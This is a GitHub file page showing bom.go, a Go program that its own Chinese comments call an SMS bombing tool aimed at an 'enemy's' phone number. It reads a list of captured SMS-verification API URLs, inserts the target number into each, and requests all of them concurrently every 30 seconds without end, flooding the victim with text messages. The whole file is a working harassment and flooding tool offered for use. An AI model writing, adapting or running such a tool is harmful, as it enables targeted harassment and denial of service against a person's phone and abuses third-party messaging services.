forked from sanlex/sms_bomber
-
Notifications
You must be signed in to change notification settings - Fork 0
/
bom.go
83 lines (77 loc) · 1.91 KB
/
bom.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
// 惩恶扬善 短信轰炸程序
package main
import (
"bufio"
"fmt"
"io"
"net/http"
"os"
"os/signal"
"syscall"
"time"
)
var (
// 仇人手机号 可以直接改成字符串
phone = os.Getenv("TEL")
// 收集短信接口
apiList []string = make([]string, 0, 1000)
format = "2006-01-02 15:04:05"
count = 1
banner = " ____ __ \n" +
"/\\ _`\\ /\\ \\ \n" +
"\\ \\ \\L\\ \\ ___ ___ ___\\ \\ \\____ __ _ __ \n" +
" \\ \\ _ <' / __`\\ /' __` __`\\ \\ '__`\\ /'__`\\/\\`'__\\\n" +
" \\ \\ \\L\\ \\/\\ \\L\\ \\/\\ \\/\\ \\/\\ \\ \\ \\L\\ \\/\\ __/\\ \\ \\/ \n" +
" \\ \\____/\\ \\____/\\ \\_\\ \\_\\ \\_\\ \\_,__/\\ \\____\\\\ \\_\\ \n" +
" \\/___/ \\/___/ \\/_/\\/_/\\/_/\\/___/ \\/____/ \\/_/ \n" +
" "
)
func init() {
// 加载抓包到的api
loadData()
}
func main() {
//合建chan
channel := make(chan os.Signal)
//监听指定信号 ctrl+c kill
signal.Notify(channel, os.Interrupt, os.Kill, syscall.SIGUSR1, syscall.SIGUSR2)
fmt.Println(banner)
fmt.Println("[INFO] 开始:", phone, "...")
go func() {
for {
for _, url := range apiList {
// 比较消耗网络资源
go http.Get(url)
}
fmt.Println("[INFO]", time.Now().Format(format), "第", count, "轮执行完成.")
count++
// 间隔时间可自定义 30s
time.Sleep(30 * time.Second)
}
}()
<-channel
}
// func bomb(url string) {
// //fmt.Println(url)
// r, err := http.Get(url)
// if err == nil {
// r.Body.Close()
// }
// }
func loadData() {
fe, err := os.Open("./api.txt")
if err != nil {
fmt.Println(err)
return
}
defer fe.Close()
buf := bufio.NewReader(fe)
for {
a, _, c := buf.ReadLine()
if c == io.EOF {
break
}
apiList = append(apiList, fmt.Sprintf(string(a), phone))
}
}